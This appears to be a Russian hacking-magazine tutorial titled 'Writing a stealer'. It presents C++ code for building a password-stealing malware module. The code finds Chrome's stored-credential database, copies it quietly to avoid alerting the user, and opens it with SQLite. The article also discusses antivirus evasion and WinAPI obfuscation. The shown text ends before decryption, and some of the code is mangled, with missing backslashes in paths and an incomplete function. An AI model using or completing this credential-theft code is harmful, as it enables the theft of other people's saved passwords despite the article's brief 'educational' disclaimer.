Кодинг

Пишем стилер. Как вытащить пароли Chrome и Firefox своими руками


Ты наверняка слышал о таком классе зловредных приложений, как стилеры. Их задача — вытащить из системы жертвы ценные данные, в первую очередь — пароли. В этой статье я расскажу, как именно они это делают, на примере извлечения паролей из браузеров Chrome и Firefox и покажу примеры кода на C++.

WARNING

Весь код в статье приводится исключительно в образовательных целях и для восстановления собственных утерянных паролей. Похищение чужих учетных или других личных данных без надлежащего письменного соглашения карается по закону.

Итак, браузеры, в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.

В примере модуля стилинга, который я приведу в статье, будет активно использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h. Если тебе нужен компактный код без зависимостей, придется его немного переработать, избавившись от некоторых функций и настроив компилятор должным образом. Как это сделать, я показывал в статье «Тайный WinAPI. Как обфусцировать вызовы WinAPI в своем приложении».

 

Что скажет антивирус?

Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом.

Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.

Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.

 

Chrome

Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:

C:Users%username%AppDataLocalGoogleChromeUserDataDefaultLogin Data 

Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.

Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).

#define CHROME_DB_PATH "\Google\Chrome\User Data\Default\Login Data" bool get_browser_path(char * db_loc, int browser_family, const char * location) { memset(db_loc, 0, MAX_PATH); if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) { return 0; } if (browser_family == 0) { lstrcat(db_loc, TEXT(location)); return 1; } } 

Вызов функции:

char browser_db[MAX_PATH]; get_browser_path(browser_db, 0, CHROME_DB_PATH); 

Давай вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family, оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).

Если условие browser_family == 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family == 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. Далее мы получаем путь к базе при помощи функции SHGetFolderPath, передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA, которое означает:

#define CSIDL_LOCAL_APPDATA 0x001c // <user name>Local SettingsApplicaiton Data (non roaming) 

Функция SHGetFolderPath устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath. Проблема в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:

HRESULT SHGetFolderPath( HWND hwndOwner, int nFolder, HANDLE hToken, DWORD dwFlags, LPTSTR pszPath ); 

После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH.

База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.

int status = CopyFile(browser_db, TEXT(".\db_tmp"), FALSE); if (!status) { // return 0; } 

Теперь подключаемся к базе командой sqlite3_open_v2. Ее прототип:

int sqlite3_open_v2( const char *filename, /* Database filename (UTF-8) */ sqlite3 **ppDb, /* OUT: SQLite db handle */ int flags, /* Flags */ const char *zVfs /* Name of VFS module to use */ ); 

Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK, в противном случае возвращается код ошибки.

sqlite3 *sql_browser_db = NULL; status = sqlite3_open_v2(TEMP_DB_PATH, &sql_browser_db, SQLITE_OPEN_READONLY, NULL); if(status != SQLITE_OK) { sqlite3_close(sql_browser_db); DeleteFile(TEXT(TEMP_DB_PATH)); } 

INFO

Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.

Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec().

Источник: xakep.ru

Оставить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *